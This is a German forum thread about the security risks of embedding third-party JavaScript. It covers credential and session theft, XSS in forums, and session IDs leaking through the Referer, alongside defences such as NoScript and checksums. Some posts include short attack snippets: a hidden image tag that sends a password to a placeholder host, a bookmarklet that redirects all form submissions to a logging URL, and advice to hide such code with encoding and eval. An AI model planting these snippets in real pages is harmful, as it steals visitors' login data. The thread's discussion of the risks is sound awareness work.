[JavaScript] Sicherheitsrisiko beim Einbinden externer Scriptdateien

[tleilax]

Moinsen,

ich wollte mal die Gelegenheit nutzen und eine Diskussion über die Risiken extern eingebundener Javascriptdateien starten.

Ich habe grad beim Rumtüfteln gemerkt, wie vielseitig die Möglichkeiten sind, wenn man erstmal einen Webmaster dazu bringt, eine externe Javascriptdatei auf seinen Seiten einzusetzen. Kaum einer guckt sich doch vermutlich an, was in den Javascriptdateien drin steht, solange alles ordnungsgemäß funktioniert.

Was dabei im Hintergrund passieren kann, ist wahrscheinlich den wenigsten bewusst. Mit ein wenig Wissen und einfachsten Mitteln hab ich mir grad ein Javascript geschrieben, mit dem ich rein theoretisch sämtliche Zugangsdaten der User erhalten könnte, die die Seite besuchen und sich einloggen, solange meine Datei ausgeführt wird. Wie ich das mache, werde ich hier öffentlich nicht posten, da ich mir der Risiken schon bewusst bin.

Meine Frage wäre nun, ob sich jemand anders schonmal Gedanken darum oder Erfahrungen damit gemacht hat? Ich persönlich würde inzwischen keiner externen Seite mehr erlauben, bei mir Javascriptcode auszuführen.

 

[ice-breaker]

ich denke mal die Risiken sind dem Großteil de rLeute, die diese Scripte einbinden, nicht bekannt, und diese werden dies hier leider auch nicht sehen.
Wie man Logins von den Seiten bekommen sollte, wüsste ich jetzt auf Anhieb nicht, aber mal ne interessante Idee sich darüber Gedanken zu machen.
Zurück zum Thema, es gab auch mal einen relativ unbekannten Popup-Anbieter der mit sowas Daten von Usern klaute, an den Namen kann ich mich aber nicht mehr erinnern, war eine amerikanische "Firma".

Edit: doch, ich glaube ich habe gerade schon die Lösung nach 1min^^ Ich muss sagen, wenn das wirklich so einfach ist, habe ich Angst, dass da mal jemand auf dumme Ideen kommt. Aber ich halte eh nichts von externen Ad-Anbietern, selbst ist der Mann

 

[tleilax]

Das mit der einfachen Lösung meine ich ja grade. Es ist fast schon erschreckend einfach und deshalb denke ich, dass es bestimmt schon öfter probiert wurde, aber entweder nicht aufgefallen ist oder die Leute dem einfach zu wenig Beachtung geschenkt haben.

Meine Lösung hat grad mal ~40 Zeilen und funktioniert. Mit guten Ansätzen der Verschleierung lässt sich da bestimmt auch was regeln, dass es selbst beim Durchschauen des Codes nicht sofort auffällt.

 

[theHacker]

Mit ein wenig Wissen und einfachsten Mitteln hab ich mir grad ein Javascript geschrieben, mit dem ich rein theoretisch sämtliche Zugangsdaten der User erhalten könnte, die die Seite besuchen und sich einloggen, solange meine Datei ausgeführt wird.

Das is ja das Schöne am JavaScript. Mit Zugriff auf das DOM kann ich sowohl alles aus der Seite auslesen, als auch den anderen Weg gehen und das komplette Dokument umgestalten. Ich kann einen IE erkennen und ihn ein ActiveX mit Gratis-automatischen-Virendownload servieren Naja, wenn ich einen IE habe, hab ich - kein Schutzprogramm vorausgesetzt - eh Zugriff aufs komplette Clientdateisystem

ich denke mal die Risiken sind dem Großteil de rLeute, die diese Scripte einbinden, nicht bekannt, und diese werden dies hier leider auch nicht sehen.

Richtig. Aber auf der anderen Seite guck dich doch mal hier im Forum um.
Sag jemanden, dass die MySQL-Queries löchrich sind, dass ich mit seinem tollen PHP-include-Code jedes Script der Welt auf seinem Server ausführen kann, ... machen sie was ? Nein

Meine Einstellung zu dem ganzen:
Ich hab noch nie Fremdcode gemocht und ich setz auch keinen ein. Früher auf meiner alten Seite (v1) hatte ich ein JavaScript von wetter.com drauf. Hatt mich das schon aufgeregt, dass ich da nur ein wenig an den Farben rumspielen konnte und sonst das Script alles selbst gemacht hat.

Mit guten Ansätzen der Verschleierung lässt sich da bestimmt auch was regeln, dass es selbst beim Durchschauen des Codes nicht sofort auffällt.

Du musst dir doch nur eine Funktion zum Codieren des Codes schreiben. Ein Rattenschwanz Unlesbares, die Dekodierungfunktion drüber und evalen. Wird sich keiner die Mühe machen, dass zu decodieren, obwohl der Quellcode des Algorithmuses ja mit drinsteht

 

[flaschenkind]

Ich binde grundsetzlich auch keine externen Java Scripts ein. Das einzige ist das von layer-ads
Das man damit Daten auslesen kann, habe ich mir schon vor langem gedacht. Aber das es so einfach ist nicht

 

[burnred]

Problem Nummer 1. Javascript kann cookies lesen und somit die SessionID oder sonstiges das gespeichert wurde.

Es ist ja über das DOM auch kein Problem sich einfach an das onsubmit Erreignis von einen Loginformular anzuheften.

Ajax ist in soweit geschützt das die XMLHTTP Querys nur auf die eigene Domain zugreifen dürfen, aber wer verhindert das ich einfach im Nachhinein diesen Code in die Seite einfüge.

<img src="domain.tld/getPasswort.php?pw=blabla" style="display:none"/>

 

[tleilax]

Jo, entweder 'n Image oder ein IFrame oder oder oder... Möglichkeiten, Parameter nach aussen zu geben, gibt's ja viele. Praktischerweise braucht man ja keine Response und kann das Objekt ja auch direkt wieder aus dem Dokument entfernen, wenn man denkt, dass die Daten angekommen sind.

 

[SpecialsGuy]

Ja, das Problem ist ein altes, kein neues.

Es war schon bei eBay möglich, über entsprechende Eintragungen in der Artikelbeschreibung sich Zugriff auf fremde Accounts zu verschaffen, bevor das damals unterbunden wurde.

Es gibt Sicherheitslücken in Foren wie phpBB, wo man sogar über den BB-Code, den viele für ungefährlich halten, man entsprechenden Script-Code injizieren kann, der dann ausgeführt wird sobald jemand den Beitrag auch nur anschaut und man so auf viele Daten kommen kann, die im Browser für diese Seite gespeichert sind. Für ein Browsergame hatte ich mal den Test gemacht und der Webseitenbetreiber war erstaunt, daß er sogar nix gemerkt hat und ich den Zugang zu zig Accounts hatte, obwohl er von diesem Testversuch zuvor wusste.

Aus diesem Grund nutze ich auch Autologin-Funktionen kaum, ausser wo der Schaden eh gering oder nicht-existent wäre.

Dieses Problem betrifft ja nicht nur Fälle, wo man selbst externen Javascript-Code einbindet, sondern auch Bereiche einer Seite, wo Usereingaben wiedergegeben werden, wenn dem nicht zu genüge gegengewirkt wird. Allein das VMS hat soviele Schwachstellen (dabei hab ich es nur mal "überflogen" *g*), daß viele Seiten und Webmaster garnicht vor solchen Angriffen geschützt wären. Zum Glück setzt nicht jeder, der dieses Wissen hat, dieses auch dazu ein um anderen zu schaden.

Leider reichen die browserseitigen Einschränkungen von Javascript oder Cookies nicht aus um den entgegenzuwirken, da man einige davon (z.B. Domainbeschränkung bei Cookies) mit etwas Geschick umgehen kann. Daher ist es wohl auch nicht verwunderlich, daß diese Art von Angriff seit jeher einer der beliebtesten unter den "Bösen" ist.

Das grösste Problem sind wohl nicht die technischen Gegebenheiten, sondern der User. Es ist schon erschreckend, wenn man sieht, wie manche mit ihren Passwörtern umgehen oder wie vertrauenswürdig auf Emails reagiert wird, wenn da ein gefälschter Absender drinsteht.

Teilweise kenne ich Seitenbetreiber, die mir mal Passwörter zum Zugriff auf ihren Server gegeben haben, die auch noch heute funktionieren würden, da gehe ich jede Wette ein. Wie oft allein schon Admin- oder Root-Zugänge weitergegeben werden, obwohl dies oft auch garnicht nötig wäre und sich diejenigen darüber keine Gedanken machen ... nun ja, es wundert mich nicht, wenn das Geschrei dann groß ist, wenn es von irgendwem mißbraucht wird.

Das eigentliche Problem ist leider der User.

 

[Scar]

bei javascript kann man es sich noch "denken". bei referer denkt fast keiner dran. einige der größeren email-anbieter haben an dieser stelle noch immer eine schwachstelle über die man in aktive accounts gelangen kann . da wird jetzt zwar jeder gleich sonstwas denken, speziell das problem von referern find ich aber fast noch kritischer weil offensichtlicher und unkontrollierbarer (wenn man es nicht im vorfeld bedenkt).

@ kritisches beispiel
google's analytics wird auch über eine solche externe js datei eingebunden. das ist zwar völlig normal, nur öffnet man google damit wieder eine weitere tür um daten zu erschnüffeln..

@ klamm welt
übrigens bindet webmasterlose nach klick auf seine sponsoren die seiten in ein über javascript erzeugtes frame ein. schon komisch, das sich darüber in der klamm-lose welt noch nie einer beschwert hat..

 

[leller]

Moins,

Javascript-Probleme sind mir hinlänglich unter dem Stichwort Cross-Site-Atacken bisher untergekommen,
aber was meint Ihr bzw. du mit dem referer-Problem??? - @Scar

Einfach mal so unwissen din den Raum gefragt.

Gruß aus Berlin

leller

 

[tleilax]

Ich vermute mal, dass sich das Refererproblem darauf runterbrechen lässt, dass manche Seiten die Sessionidentifikation in der URL stehen haben. Klickt man nun auf einen externen Link, während die ID in der URL steht, kann die externe Seite über den Referer die Sitzung übernehmen und ganz normal in Deinem Account arbeiten, da der fremde Server denkt, Du wärst derjenige, welcher, da Du die richtige SessionID hast.

Du musst dir doch nur eine Funktion zum Codieren des Codes schreiben. Ein Rattenschwanz Unlesbares, die Dekodierungfunktion drüber und evalen. Wird sich keiner die Mühe machen, dass zu decodieren, obwohl der Quellcode des Algorithmuses ja mit drinsteht

Fällt mir grad noch ein:

Diese Verschlüsselungen halte ich immer für äußest unsinnig, da sie meistens so simpel zu lösen sind. Da muss man nix manuell decodieren, sondern nur den Namen der decode()-Funktion rausfinden und dann im Browser folgendes eintippen:

javascript:alert(decode());

Und schon kriegt man den unkodierten Quelltext angezeigt. Mit ein bisschen mehr Aufwand auch in besser lesbarer Form.

 

[theHacker]

Da muss man nix manuell decodieren, sondern nur den Namen der decode()-Funktion rausfinden und dann im Browser folgendes eintippen:

javascript:alert(decode());

Und schon kriegt man den unkodierten Quelltext angezeigt. Mit ein bisschen mehr Aufwand auch in besser lesbarer Form.

Jupp, schon klar. Das hab ich ja gemeint.
Ich bin mir aber dennoch sicher, dass wenn du n Leuten ein JavaScript gibst, wo die ganze Funktionalität codiert ist, nur (n/10) Leute überhaupt auf die Idee kommen, den richtigen Quellcode sehen zu wollen.
Dass diese, und eben nur diese 10%, schnell auf obigen Trick kommen, is logisch.

 

[tleilax]

10%? Du bist heut aber optimistisch...

BTW: Deine Signatur buggt oder? Dein "linkes, blaues" Feld (kein Plan, wie ich das grad nennen soll) ist so schmal...

 

[ice-breaker]

Dass diese, und eben nur diese 10%, schnell auf obigen Trick kommen, is logisch.

10% ist aber arg übertrieben, rechne mal mit 2-3% die überhaupt noch weiter denken, wenn nicht alles im Klartext dasteht, die 10% würde eher zud er Menge passen, die es schaffen den Code von dem externen JS zu bekommen^^

ES ist schon Schade, was mit JavaScript so möglich ist, am liebsten würde ich es komplett deaktivieren, keine PopUps mehr die mein Adblock nicht kennt, keine Layer kein nichts, wäre das nicht ein großes Problem: Ajax würde nicht mehr gehen
Was würde eigentlich gegen ein Safe-Mode von JavaScript sprechen? gut, man müsste ein Großteil der JavaScript-Funktionen deaktivieren, aber mal nen interessdanter Ansatz was dann mit dem Rest noch möglich wäre, ich glaube kaum was

 

[Scar]

@ referer,
genau das meinte ich und das problem besteht in jeden forum, bei vielen web-applikationen und auch immer noch bei einigen emailanbietern. zumindest seh ich das in meinen referer-statistiken.

@ js-savemode
wie stellst du dir das vor?
man kann schlecht verlangen das der js-code als beispiel nur von der selben seite stammen darf. ansonsten würden millionen von free-countern und xyz-services nicht mehr funktionieren. und nur einzelne befehle zu sperren würde auch nix bringen. im endeffekt ist vieles auch über umwege denkbar. und popups sind auch teilweise in webanwendungen/foren/... nicht wegzudenken, da hilft auch kein ajax.

 

[veers]

Einfach mal

javascript:(function() {var intercepted = 'https://example.com/log_whole_request';for(i=0;i<document.forms.length;i++){document.forms[i].action=intercepted;}})()

in die Adressleiste eintippen (nur mit firefox getestet, kommt dem ausführen als script gleich) und ein Form absenden

Schlussfolgerung? Jedes (externe) Javascript kann die ClientSeite annähenrd beliebig Manipulieren. Gut, soweit logisch und weit bekannt.

Etwas weniger bekannt ist der Umstand das der Internet Exploder es erlaubt Javascript in CSS Files einzubinden.
Schlussfolgerung? Jedes (externe) CSS kann falls der Benutzer den MS IE verwenden die Client Seite annähernd beliebig Manipulieren.

Was ich auch toll finde ist das verwenden von php/include() zum Laden von Content der auf einem entfernten Rechner liegt.

<?php include("https://ticker.gulli.com/feed2js.php?src=http%3A%2F%2Fexample.com&......"); echo "News powered by <a class=\"gulli_rss_link\" href=\"https://www.gulli.com\">gulli</a>"; ?>

...scnr

 

[Hotwave]

Ich weiß genau, wieso ich JavaScript standardmäßig deaktiviert habe (NoScript-Addon für FF) und die Seiten (wie Klamm) denen ich vertraue kommen auf eine Whitelist.

 

[SpecialsGuy]

Ein Safemode für Javascript kann kaum eine Lösung sein. Nehmen wir zum Vergleich nur mal den Safemode von PHP. Jedes Script kann im Safemode arbeiten, wenn es nur entsprechend korrekt kodiert ist. Doch, wie so oft, sind es dann die User die bei PHP nach Servern ohne Safemode verlangen. Und genau so wird es mit dem Safemode bei JS sein, die User werden Browser ohne ihn verlangen ... nein, eher sogar die Webmaster, die an ihrer Hobbywebseite basteln und jeden blinkzuckundnervmichbiszumumfallen-Codeschnippsel einbauen. Wobei manch eine kommerzielle Webseite da kaum hinterherhinkt.

Statt einem Safemode könnte es eine andere Möglichkeit geben: zertifizierte Javascript-Dateien ... aber das würde mich wiederum an Microsoft-Praktiken erinnern. Und wer will dieses Feature in die Browser einbauen oder Teil des Standards werden lassen? Nö ... ich glaub, da werden wir hier nichts beeinflussen können *g*

Was man tun kann ist auf seinen Seiten/Server/wasauchimmer so zu arbeiten, daß man die grössten Gefahren "abschaltet". Und den Beitrag sollte man zumindest leisten um einen kleinen Teil sicherer zu machen.

btw, zertifizierte Javascript-Dateien. Man könnte regelmässig mit einer Checksumme prüfen, ob externe JS-Dateien sich verändert haben, nachdem man sie einem Check unterworfen hat. So minimiert man sicherlich das Risiko, das irgendwas "böses" eingebunden wird und man dessen ahnungslos bleibt.

 

[ice-breaker]

oder man bindet einfach gar nichts mehr ein,
problematisch bleibt es eben aber noch wenn die ganzen Webbis einfach irgendwelche JS einbauen, und sie den Code nicht verstehen, bleibt wahrscheinlich wirklich nur noch übrig JS zu deaktivieren, dann würde aber ein schönes Feature von Webseiten deaktiviert werden

 

[theHacker]

btw, zertifizierte Javascript-Dateien. Man könnte regelmässig mit einer Checksumme prüfen, ob externe JS-Dateien sich verändert haben, nachdem man sie einem Check unterworfen hat. So minimiert man sicherlich das Risiko, das irgendwas "böses" eingebunden wird und man dessen ahnungslos bleibt.

Das kann man aber nicht so einfach praktizieren, weil die JavaScript-Dateien meist selber dynamisch sind und immer anders aussehen.

Ich denk da nur an mein JS, was ich von wetter.com drin hatte. Ändert sich das Wetter, stimmt die Checksum nimmer